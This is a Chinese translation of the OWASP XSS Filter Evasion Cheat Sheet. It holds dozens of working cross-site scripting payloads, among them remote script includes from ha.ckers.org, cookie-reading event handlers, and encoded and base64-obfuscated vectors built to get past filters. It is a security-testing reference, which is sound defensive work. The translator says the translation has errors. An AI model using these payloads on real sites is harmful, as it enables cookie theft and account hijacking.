XSS Filter Evasion Cheat Sheet 中文版

wyzsk發表於2020-08-19
作者: 老道 · 2014/05/13 14:56

前言


譯者注: 翻譯本文的最初原因是當我自己看到這篇文章後,覺得它是非常有價值。但是這麼著名的一個備忘錄卻一直沒有人把它翻譯成中文版。很多人僅僅是簡單的把文中的各種程式碼複製下來,然後看起來很刁的發在各種論壇上,不過你要真去認真研讀這些程式碼,就會完全不知所云了。原因是這篇文章最精華的部分是程式碼的解釋而非程式碼本身。

一方面為了自己學習,一方面也想讓更多國內的xss愛好者去更方便的閱讀本文。所以雖然我本身英語很爛,xss技術也很爛,但還是去翻譯了這篇文章。當然這也導致最後翻譯出來的文章晦澀難懂、不知所云。這個真心向大家說聲抱歉啊,也希望大家能及時幫忙提出文中的翻譯錯誤或其他錯誤。

另外,在翻譯過程中,我發現XSS Filter Evasion Cheat Sheet原版本身也存在一些技術上的或是描述上的錯誤。不過雖然我知道原文中某些地方可能出錯,但是我也不知道正確的應該是什麼樣的,還有就是或許原文字身是對的,但是我理解錯了。種種原因吧,最後基本上都按原文在翻譯,有些覺得可能存在錯誤的地方或是我理解不了的地方,我就沒有翻譯,繼續使用英文。希望大家可以幫忙給出翻譯或是解釋。

如果大家有能力閱讀英文的話,儘量閱讀原文,即使要看這個翻譯版,也配合英文版一起看。不要讓我的翻譯錯誤誤人子弟啊。最後希望大家可以和我一起解決翻譯中的各種錯誤,把這個中文版維護好。

謝謝

源文件地址:https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

翻譯文件線上閱讀:https://www.zybuluo.com/laodao/note/9592

介紹

這篇文章的主要目的是去給應用安全測試者提供一份xss漏洞檢測指南。文章的初始內容由RSnake提供給OWASP,從他的xss備忘錄: http://ha.ckers.org/xss.html 。目前這個網頁已經重定向到我們這裡,我們打算維護和完善它。OWASP的第一個防禦備忘錄專案:the XSS (Cross Site Scripting) Prevention Cheat Sheet靈感來源於RSnake的 XSS Cheat Sheet,所以我們對他給予我們的啟發表示感謝。我們想要去建立短小簡單的參考給開發者去幫助他們預防xss漏洞,而不是建立一個複雜的備忘錄去簡單的告訴他們需要去預防各種千奇百怪的攻擊。所以,OWASP備忘錄系列誕生了。


測試

這個備忘錄主要針對那些已經理解了最基本的xss攻擊,但是想要深入理解各種過濾器繞過的細微差別的學習者。

請注意大部分的xss攻擊向量已經在其程式碼下方給出了測試過的瀏覽器列表。


xss 探測器

注入下面這些程式碼,在大多數沒有特殊xss向量要求而已遭受指令碼攻擊的地方將會彈出單詞“xss”。使用url編碼器去編碼你的整個程式碼。小技巧:如果你是急切的需要快去檢測一個頁面,通常只需要注入輕量的 "<任意字元>" 標籤,然後判斷輸出點是否受到干擾就可以判斷是否xss漏洞了。

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

xss 探測器2

如果你沒有充足的輸入空間去檢測頁面是否存在xss漏洞。下面這段程式碼是一個好的簡潔的xss注入檢測程式碼。在注入這段程式碼後,檢視頁面原始碼尋找是否存在看起來像 <XSS verses <XSS這樣的輸入點從而判斷是否存在xss漏洞。

'';!--"<XSS>=&{()}

無過濾繞過

這是一個常規的xss注入程式碼,雖然通常它會被防禦,但是我們建議首先去嘗試它。(引號是不被需要的在任何現代瀏覽器中,因此這裡省略了它。)

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>


透過javascript指令實現的圖片xss

圖片xss依靠javascript指令實現。(IE7.0不支援javascript指令在圖片上下文中,但是可以在其他上下文觸發。下面的例子僅僅展示了一種其他標籤依舊通用的原理。)

<IMG SRC="javascript:alert('XSS');">

無引號無分號

<IMG SRC=javascript:alert('XSS')>

不區分大小寫的xss攻擊向量

<IMG SRC=JaVaScRiPt:alert('XSS')>

html 實體

The semicolons are required for this to work:

<IMG SRC=javascript:alert("XSS")>

重音符混淆

如果你的javascript程式碼中需要同時使用單引號和雙引號,那麼可以使用重音符(`)來包裹javascript程式碼。它也經常會非常有用因為xss過濾程式碼未考慮到這個字元。

<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

畸形的A標籤

跳過href屬性,而直接獲取xss實質攻擊程式碼...提出被David Cross ~ 已驗證在chrome瀏覽器

<a onmouseover="alert(document.cookie)">xxs link</a>

此外,chrome瀏覽器喜歡去不全確實的引號為你。如果你遇到阻礙那麼直接省略它們吧,chrome將會正確的幫你不全缺失的引號在URL和script中。

<a onmouseover=alert(document.cookie)>xxs link</a>

畸形的IMG標籤

最早被 Begeek發現(可以短小而乾淨的執行於任何瀏覽器),這個xss向量依靠鬆散的渲染引擎解析IMG標籤中被引號包含的字串來實現。我猜測它最初是為了正確編碼而造成的。這將使它更加困難的去解釋HTML標籤。

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

fromCharCode

如果沒有任何形式的引號被允許,你可以eval()一串fromCharCode在javascript來建立任何你需要的xss向量。

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

預設SRC屬性去繞過SRC域名檢測過濾器

這將繞過絕大多數SRC域名過濾器。插入javascript程式碼在任何一個事件方法同樣適用於熱河一個HTML標籤,例如Form、Iframe、Input、Embed等等。他將也允許任何任何該標籤的相關事件去替換,例如onblur, onclick等,後面我們會附加一個可用的事件列表。由David Cross提供,Abdullah Hussam編輯。

<IMG SRC=# onmouseover="alert('xxs')">

預設SRC屬性透過省略它的值

<IMG SRC= onmouseover="alert('xxs')">

預設SRC屬性透過完全不設定它

<IMG onmouseover="alert('xxs')">

透過error事件觸發alert

<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

十進位制html編碼引用

所有在XSS Filter Evasion Cheat Sheet 中文版使用javascript指令的xss示例將無法工作在 Firefox 或 Netscape 8.1+,因為它們使用了 Gecko 渲染引擎。使用 XSS Calculator 獲取更多資訊。

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>

結尾沒有分號的十進位制html編碼引用

他是經常有用的在繞過尋找"X;"格式的xss過濾,因為大多數人不知道最多允許7位字元的編碼限制。這也是有用的對那些對字串解碼像$tmp_string =~ s/.\&#(\d+);./$1/; ,錯誤的認為一個html編碼需要用;去結束。(我是無意中發現)

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

結尾沒有分號的十六進位制html編碼引用

這也是一種實用的xss攻擊針對上文的$tmp_string =~ s/.\&#(\d+);./$1/; ,錯誤的認為數字編碼跟隨在#後面(十六進位制htnl編碼並非如此),。使用 XSS Calculator 獲取更多資訊。

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

內嵌TAB

用來分開xss攻擊程式碼

<IMG SRC="jav   ascript:alert('XSS');">

內嵌被編碼的TAB

用來分開xss攻擊程式碼

<IMG SRC="jav&#x09;ascript:alert('XSS');">

內嵌換行符去分開xss程式碼

一些網站聲稱09-13編碼的所有字元(十進位制)都可以實現這種形式的攻擊。這是不正確的。只有09(tab), 10 (換行) 和 13 (回車)可以使用。檢視ascii表為更詳細的資訊。下面四個xss例子展示了這個向量。

<IMG SRC="jav&#x0A;ascript:alert('XSS');">

編碼回車符去分開xss程式碼

注意:上面我編寫的三個xss字串比必須的字串更長,原因是0可以被省略。通常我看到的過濾器假設十六進位制和十進位制的編碼是兩到三個字元。正確的應該是一到七個字元。

<IMG SRC="jav&#x0D;ascript:alert('XSS');">

沒有分割的javascript指令

null字元也可以作為一個xss向量,但是不像上邊那樣。你需要直接注入它們利用一些工具例如Burp Proxy,或是使用 %00 在你的url字串裡。或者如果你想寫你自己的注入工具你可以使用vim(^V^@ 會生成null),以及用下面的程式去生成它到一個文字檔案中。好吧,我再一次撒謊了。 Opera的老版本(大約 7.11 on Windows)是脆弱的對於一個額外的字元173(軟連字元)。但是null字元 %00 是更加的有用或者幫助我們繞過某些真實存在的過濾器用過變動像這個例子中的。

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

圖片元素中javascript之前的空格和元字元為xss

xss過濾拼配模式沒有考慮單詞"javascript:"中可能存在空格是正確的,因為否則將無法渲染。但是這也導致了錯誤的假設認為你不可以有一個空格在引號和 "javascript:" 單詞之間。事實上你可以插入 1-32編碼字元(十進位制)中的任何字元。

<IMG SRC=" &#14;  javascript:alert('XSS');">

非字母數字字元xss

Firefox html解析器設定一個非數字字母字元不是有效的在一個html關鍵字後面,因此這些字元會被視為空白符或是無效的token在html標籤之後。這導致很多xss過濾器錯誤的認為html標籤必須是被空白符隔斷的。例如,"<SCRIPT\s" != "<SCRIPT/XSS\s":

<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>

和上面的原理相同,我們繼續擴大,Gecko渲染引擎允許字母、數字、html封裝字元以外的任何字元位於事件處理器與等號之間。從而藉此繞過xss過濾器。注意這也是適用於重音符如下所示:

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

Yair Amit 提示我有一個小區別在 ie和Gecko 渲染引擎之間是他們僅允許一個一個斜槓在html標籤和引數之間,在不使用空格的情況下。這可能是有用的在那些不允許輸入空格的系統中。

<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>

附加的開括號

Franz Sedlmaier提出,利用這個xss向量可以繞過某些檢測引擎,因為這些引擎透過拼配最早出現的一對尖括號,並且提取其內部內容作為標籤,而沒有使用更加有效的演算法例如 Boyer-Moore(尋找開啟的尖括號以及相關標籤的模糊拼配)。程式碼中的雙斜槓可以抑制額外尖括號導致的javascript錯誤。

<<SCRIPT>alert("XSS");//<</SCRIPT>

沒關閉的script標籤

對於使用了 Gecko渲染引擎的Firefox 和 Netscape 8.1 ,你並不需要常規xss中"></SCRIPT>"這部分。 Firefox會幫你閉合標籤,並且加入結束標籤。多麼的體貼啊! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. 如果需要,你可以加入引號,但通常他並不是必須的。注意,我並不清楚這個程式碼被注入後html程式碼會閉合成什麼樣子。

<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >

script標籤中的協議解析

這個特殊的變體由 Łukasz Pilorz 提出,並且基於上文中 Ozh提出的協議解析繞過。這個xss例子工作在 IE, 使用IE渲染引擎的Netscape 以及加了在結尾的 Opera。這是非常有用的在輸入長度受到限制。域名越短越好。 ".j"是有效的,不需要考慮編碼問題因為瀏覽拿起可以自動識別在一個script標籤中。

<SCRIPT SRC=//ha.ckers.org/.j>

半開的HTML/JavaScript xss向量

不同於 Firefox ,ie渲染引擎不會加入額外的資料到你的頁面。但是它允許javascript指定在圖片標籤中這是有用的作為一個xss向量,因為它不需要一個結束的尖括號。你可以插入這個xss向量在任何html標籤後面。甚至沒有用">"關閉標籤。 A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". 這也是有效的去對付真實的xss過濾器,我曾經碰見過試用半開的<IFRAME 標籤替代 <IMG 標籤,

<IMG SRC="javascript:alert('XSS')"

雙開尖括號

使用一個開始尖括號(<)在向量結尾代替一個關閉尖括號(>)會有不同的影響在 Netscape Gecko 的渲染中。 Without it, Firefox will work but Netscape won't。

<iframe src=http://ha.ckers.org/scriptlet.html <

轉義javascript中的轉義

當一個應用程式是輸出使用者自定義的資訊到javascript程式碼中,例如: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT>。如果你想插入你自己的javascript程式碼進入它,但是伺服器轉義了其中的某些引號,這時你需要透過轉義被轉義的字元來繞過它。從而使最終的輸入程式碼類似於<SCRIPT>var a="\";alert('XSS');//";</SCRIPT> 。最終\轉義了雙引號前被伺服器新增的\,而雙引號則不會被轉義,從而觸發xss向量。xss定位器使用這個方法。

\";alert('XSS');//

閉合title標籤

這是一個簡單的xss向量,可以引入一個惡意的xss攻擊。 譯者注:titile標籤內部不支援html程式碼,所有內容會被自動轉義為普通字元。

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

INPUT image

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

BODY image

<BODY BACKGROUND="javascript:alert('XSS')">

IMG DYNSRC(影片剪輯)

<IMG DYNSRC="javascript:alert('XSS')">

IMG lowsrc(低解析度圖片)

<IMG LOWSRC="javascript:alert('XSS')">

List-style-image

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

List-style-image

為帶有符號的列表嵌入自定義圖片的符號。它是隻能工作在ie渲染引擎因為javascript指令。這不是一個特別有用的xss向量。

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

VBscript in an image

<IMG SRC='vbscript:msgbox("XSS")'>

Livescript (僅適用於老版本的Netscape)

<IMG SRC="livescript:[code][/code]">

BODY 標籤

這個方法不需要使用任何"javascript:" or "<SCRIPT..." 的變體去實現xss攻擊。Dan Crowley特別指出你可以額外的加入一個空格在等號之前("onload=" != "onload ="):

<BODY ONLOAD=alert('XSS')>

事件處理程式

它可以被用於上文中的一些共性xss攻擊(這是最完整的一個實時更新的線上列表)。感謝Rene Ledosquet 的更新。此外你可以參考 Dottoro Web Reference 或是 events in JavaScript.

 1. FSCommand() (攻擊者可以使用它當執行一個嵌入的flash物件時)
 2. onAbort() (當使用者終止一張正在載入的圖片)
 3. onActivate() (當物件被設定為啟用元素)
 4. onAfterPrint() (使用者列印或是預覽列印工作後啟用)
 5. onAfterUpdate() (啟用在一個資料物件當源物件資料更新後)
 6. onBeforeActivate() (觸發在一個物件被設定為啟用元素)
 7. onBeforeCopy() (攻擊者執行攻擊程式碼在一個選區被複制到剪貼簿之前-攻擊者可以實現它透過execCommand("Copy")函式。)
 8. onBeforeCut() (攻擊者執行攻擊程式碼在在一個選區被剪貼。)
 9. onBeforeDeactivate() (當啟用元素被改變後觸發)
 10. onBeforeEditFocus() (觸發在一個可被編輯的元素內的物件就按測到一個 UI-activated狀態或是一個可被編輯物件被選擇之前)
 11. onBeforePaste() (使用者需要被欺騙執行貼上或是去觸發它透過execCommand("Paste")函式。)
 12. onBeforePrint() (使用者需要被欺騙執行列印或是攻擊者可以使用print()或是execCommand("Print")函式。)
 13. onBeforeUnload() (使用者需要被欺騙關閉瀏覽器-攻擊者不可以 unload windows除非它是被執行從其父視窗。)
 14. onBeforeUpdate() (啟用在資料物件在源物件更新資料之後。)
 15. onBegin() (onbegin 事件被立即觸發當元素的宣告週期開始後)
 16. onBlur() (當失去焦點時觸發*)
 17. onBounce() (觸發當選框物件的behavior屬性被設定為"alternate"或是選框的內容抵達視窗的一邊。)
 18. onCellChange() (觸發當資料改變在資料provider)
 19. onChange() (select, text, or TEXTAREA 欄位失去焦點或是它們的值是被改變。)
 20. onClick()(點選事件)
 21. onContextMenu() (使用者需要右擊在攻擊攻擊區域)
 22. onControlSelect() (當使用者去控制一個選擇物件時觸發。)
 23. onCopy() (使用者需要去copy某些東西或是利用execCommand("Copy")命令)
 24. onCut() (使用者需要copy某些東西或是利用execCommand("Cut") 命令)
 25. onDataAvailable() (使用者改變資料在某個元素上或是攻擊者可以執行相同的函式。)
 26. onDataSetChanged() (當源資料物件被改變時觸發)
 27. onDataSetComplete() (觸發當資料是成功獲取到從資料來源物件)
 28. onDblClick() (使用者雙擊某個元素。)
 29. onDeactivate() (噹噹前元素失去啟用狀態時觸發)
 30. onDrag() (需要使用者拖動某個物件)
 31. onDragEnd() (需要使用者拖動某個物件)
 32. onDragLeave() (需要使用者拖動某個物件從一個有效的位置。)
 33. onDragEnter() (需要使用者拖動某個物件從一個有效的位置。)
 34. onDragOver() (需要使用者拖動某個物件從一個有效的位置。)
 35. onDragDrop() (使用者拖動某個物件(例如檔案)到瀏覽器視窗內。)
 36. onDragStart() (當使用者開始拖動操作時發生。)
 37. onDrop() (使用者拖動某個物件(例如檔案)到瀏覽器視窗內。)
 38. onEnd() (當生命週期結束時觸發)
 39. onError() (載入document 或 image發生錯誤時觸發)
 40. onErrorUpdate() (當更新資料來源的相關物件時發生錯誤則觸發)
 41. onFilterChange() (當一個濾鏡完成狀態改變時觸發)
 42. onFinish() (移動的Marquee文字完成一次移動時觸發)
 43. onFocus() (當視窗獲得焦點時攻擊者可以執行程式碼)
 44. onFocusIn() (當視窗獲得焦點時攻擊者可以執行程式碼)
 45. onFocusOut() (當視窗失去焦點時攻擊者可以執行程式碼)
 46. onHashChange() (噹噹前地址的hash發生改變時觸發)
 47. onHelp() (當使用者在當前視窗點選F1時觸發攻擊程式碼)
 48. onInput() (可編輯元素中的內容被使用者改變後出發)
 49. onKeyDown() (使用者按下一個鍵)
 50. onKeyPress() (使用者點選或是按下一個鍵)
 51. onKeyUp() (使用者釋放一個鍵)
 52. onLayoutComplete() (使用者需要去列印或是列印預覽)
 53. onLoad() (攻擊者執行攻擊程式碼在視窗載入後)
 54. onLoseCapture() (可以被觸發被releaseCapture() 方法)
 55. onMediaComplete() (當波翻改一個流媒體檔案時,這個事件將觸發在檔案開始播放前。)
 56. onMediaError() (當使用者開啟的頁面包含一個媒體檔案,並且發生錯誤時觸發)
 57. onMessage() (當文件物件接受到一個資訊時觸發)
 58. onMouseDown() (攻擊者需要讓使用者去點選一張圖片。)
 59. onMouseEnter() (游標移入一個物件或是區域)
 60. onMouseLeave() (攻擊者需要讓使用者移動游標進入一個圖片或是表格,接著再次移出)
 61. onMouseMove() (攻擊者需要讓使用者移動滑鼠進入一個圖片或是表格上)
 63. onMouseOver() (游標移到一個物件或是區域上)
 64. onMouseUp() (攻擊者需要讓使用者點選一張圖片)
 65. onMouseWheel() (擁擠著需要讓使用者去使用他們的滑鼠滾輪)
 66. onMove() (使用者或攻擊者需要移動頁面)
 67. onMoveEnd() (使用者說攻擊者需要移動頁面)
 68. onMoveStart() (使用者說攻擊者需要移動頁面)
 69. onOffline() (瀏覽器從線上模式轉換到離線模式時發生)
 70. onOnline() (瀏覽器從離線模式轉換到線上模式時發生)
 71. onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
 72. onPaste() (使用者需要去貼上或是攻擊者執行execCommand("Paste") 方法)
 73. onPause() (當啟用元素時間停頓時觸發,包括body元素)
 74. onPopState() (當使用者返回會話歷史時觸發)
 75. onProgress() (當一個flash動畫載入時觸發)
 76. onPropertyChange() (使用者或攻擊者需要改變一個元素的屬性)
 77. onReadyStateChange() (使用者或攻擊者需要改變一個元素的屬性)
 78. onRedo() (使用者執行再執行操作)
 79. onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
 80. onReset() (使用者或攻擊者重置表單)
 81. onResize() (使用者調整視窗大小,或是攻擊者自動觸發透過某些程式碼例如&#x3C;SCRIPT>self.resizeTo(500,400);&#x3C;/SCRIPT>)
 82. onResizeEnd() (使用者調整視窗大小,或是攻擊者自動觸發透過某些程式碼例如&#x3C;SCRIPT>self.resizeTo(500,400);&#x3C;/SCRIPT>)
 83. onResizeStart() (使用者調整視窗大小,或是攻擊者自動觸發透過某些程式碼例如&#x3C;SCRIPT>self.resizeTo(500,400);&#x3C;/SCRIPT>)
 84. onResume() (當元素從暫停恢復到啟用時觸發,包括body元素)
 85. onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
 86. onRowsEnter() (使用者或攻擊者需要改變資料來源中的一行)
 87. onRowExit() (使用者或攻擊者需要改變資料來源中的一行)
 88. onRowDelete() (使用者或攻擊者需要刪除資料來源中的一行)
 89. onRowInserted() (使用者或攻擊者需要向資料來源中插入一行)
 90. onScroll() (使用者需要滾動,或是攻擊者可以執行scrollBy() 函式)
 91. onSeek() (媒體播放移動到新位置)
 92. onSelect() (使用者需要去選擇一些文字 - 攻擊者可以自動執行利用某些方法例如 window.document.execCommand("SelectAll");)
 93. onSelectionChange() (使用者需要去選擇一些文字 - 攻擊者可以自動執行利用某些方法例如 window.document.execCommand("SelectAll");)
 94. onSelectStart() (使用者需要去選擇一些文字 - 攻擊者可以自動執行利用某些方法例如 window.document.execCommand("SelectAll");)
 95. onStart() (當marquee元素迴圈開始時觸發)
 96. onStop() (使用者需要點選停止按鈕或是離開網頁)
 97. onStorage() (儲存區域改變)
 98. onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
 99. onSubmit() (需要攻擊者或使用者提交表單)
 100. onTimeError() (使用者或攻擊者需要設定一個時間屬性例如 dur 的值為無效的值)
 101. onTrackChange() (使用者或攻擊者需要改變播放列表的軌跡)
 102. onUndo() (user went backward in undo transaction history)
 103. onUnload() (當使用者點選一個連結或是按下Enter鍵或是攻擊者觸發一個點選事件)
 104. onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
 105. seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)

BGSOUND(背景音樂)

<BGSOUND SRC="javascript:alert('XSS');">

& JavaScript 包含

<BR SIZE="&{alert('XSS')}">

樣式表

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

遠端樣式表

(透過某些方式例如最簡單的遠端樣式表,你可以插入一個樣式引數為嵌入表示式的xss程式碼)。它是僅僅工作在IE瀏覽器或是使用了IE渲染引擎的Netscape 8.1+。需要注意的是頁面中並沒有展現出它包含了javascript程式碼。注意:所有的遠端樣式表示例需要至少用到body標籤,負責將無法工作除非頁面中包含除了向量本身的其他內容。因此你需要新增至少一個字母到頁面確保他可以工作如果它是一個空白頁面。

<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">

遠端樣式表2

他的工作原理與上面相同。但是使用了STYLE標籤代替LINK標籤。榆次向量稍有不同的變異被用於攻擊Google Desktop。你可以移除</STYLE>標籤當後面的html去閉合它。這個向量是有用的在不允許輸入等號或是反斜槓的實際環境中。

<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

遠端樣式表3

它僅僅可以工作在 Opera 8.0 (no longer in 9.x) ,但是是非常的狡猾。 Opera 8.0 (no longer in 9.x) 。根據RFC2616規定,設定一個連線頭不是 HTTP1.1 規定的一部分,但是很多瀏覽器仍然允許它(例如Firefox and Opera)。這個技巧是我們可以設定一個http頭(與常規http頭沒有什麼不同,只是 Link: http://ha.ckers.org/xss.css; REL=stylesheet)。這樣帶有xss程式碼的遠端向量將執行javascript。他並不被支援在 FireFox。

<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

遠端樣式表4

它是僅僅工作在 Gecko 渲染引擎。並且需要繫結一個 XUL檔案在頁面。令人諷刺的是Netscape認為Gecko是更加安全的,因此絕大多是網站會受到這個攻擊。

<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>

分隔javascript在STYLE標籤

這個xss在ie瀏覽器中會造成無線迴圈

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

STYLE屬性中使用註釋去分隔表示式

提出被 Roman Ivanov

<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

IMG樣式的表示式

這是上面xss向量的混合體。但是它是展示了STYLE標籤被分隔有多困難。同樣它也會在ie下造成迴圈彈窗。

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

STYLE標籤(僅支援老版本的Netscape)

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

使用background-image的style標籤

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

使用background的style標籤

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

匿名html標籤的屬性

IE6.0 和使用了ix渲染引擎的Netscape 8.1+ 並不會關心你建立的html標籤存在與否。只要它是以尖括號以及字元開始的。

<XSS STYLE="xss:expression(alert('XSS'))">

本地 htc 檔案

它有一個小的不同與上面的xss向量,因為他使用的 htc 檔案必須是當前域的檔案。這個檔案透過樣式屬性引入並執行javascript程式碼實現xss。

<XSS STYLE="behavior: url(xss.htc);">

US-ASCII編碼

US-ASCII 編碼 (發現被 Kurt Huwig)。它是使用畸形的ASCII 編碼用7bits代替8bits. 這個xss可以繞過絕大多數內容過濾,但是必須當前域的傳輸形式為 US-ASCII編碼方式。或者你自己去設定這種編碼方式 。它是有用的去繞過web應用防火牆xss過濾比伺服器端的過濾。Apache的 Tomcat是眾所周知的 使用US-ASCII編碼傳輸協議。

¼script¾alert(¢XSS¢)¼/script¾

META

關於meta refresh比較奇怪的是他並不是傳送一個重新整理請求頭。因此他通常用於不需要引用url的攻擊。

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

META using data

URL指令方案,它是非常的不錯因為贏沒有明顯的SCRIPT單詞或是JavaScript 指令出現,因為它使用了base64 編碼。請檢視 RFC 2397瞭解更多資訊或是編碼你的程式碼。你也可以使用 XSS calculator去編碼你的html或是javascript程式碼到base64位。

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

額外url引數的META

如果當前網頁試圖去查詢URL引數是否以"http://" 開始,你可以用下列技術繞過(被 Moritz Naumann提出)

<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

IFRAME

如果一個iframes被允許,那麼同時可能會存在大量其他xss問題

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

IFRAME 基於事件

IFrames或其他元素可以使用事件如下(提出被 David Cross)

<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

FRAME

Frames有一些列相同的問題像 iframes

<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>

TABLE

<TABLE BACKGROUND="javascript:alert('XSS')">

TD

像上面一樣,TD也可以透過 BACKGROUND 來包含javascript xss向量

<TABLE><TD BACKGROUND="javascript:alert('XSS')">

DIV background-image

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

使用 unicoded編碼xss利用程式碼的DIV background-image

這是被輕微的修改去混淆 url 引數。他是最早被發現被 Renaud Lifchitz用於攻擊hotmail。

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

附加額外字元的DIV background-image

Rnaske開發了一個XSS fuzzer去探測可以在開括號和javascript之間加入哪些額外字元在 IE和安全模式下的 Netscape 8.1。都是一些十進位制的字元,但是你也可以用十六進位制來填充。(下面這些編碼字元可以被使用:1-32, 34, 39, 160, 8192-8.13, 12288, 65279)

<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">

DIV expression

它的一個變體是更加有效的去繞過實際的xss過濾器是在冒號和表示式之間新增換行符。

<DIV STYLE="width: expression(alert('XSS'));">

html條件選擇註釋塊

只能工作在IE5.0 以及更新版或是使用了ie渲染引擎的Netscape 8.1 。 一些網站認為任何包裹在註釋中的內容都是安全的,因此並不會被移除。這將允許我們的xss向量。或者系統可能透過新增註釋對某些內容去試圖無害的渲染它。如我們所見,這有時並不起作用。

<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
 <![endif]-->

BASE標籤

工作ie或是使用了安全模組的Netscape 8.1,你需要使用 "//" 斜體文字去避免javascript錯誤。這需要當前網站使用相對路徑(例如images/image.jpg)而不是絕對路徑。如果路徑開始用一個斜槓(例如"/images/image.jpg"),你需要去掉xss向量中的一個斜槓(只有在兩個斜槓的情況下才會起到註釋作用)

<BASE HREF="javascript:alert('XSS');//">

OBJECT標籤

如果允許objects標籤,你也可以注入病毒payloads去感染使用者。類似於APPLET標籤。這個連結檔案是一個包含xss程式碼的html檔案。

<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>

使用一個你可以載入包含有xss程式碼的flash檔案的 EMBED 標籤

點選這個demo,如果你加入屬性allowScriptAccess="never" and allownetworking="internal"他可以緩解這個風險(謝謝Jonathan Vanasco 的這個資訊)

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

使用在flash中的ActionScript可以混淆你的xss向量

a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);

CDATA混淆的 XML資料島

這個xss向量儘可以在IE 和使用了ie渲染引擎的 Netscape 8.1 下工作。它是 Sec Consult在審計雅虎時發現。

<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

使用XML資料島生成含有javascript程式碼的當前域xml檔案

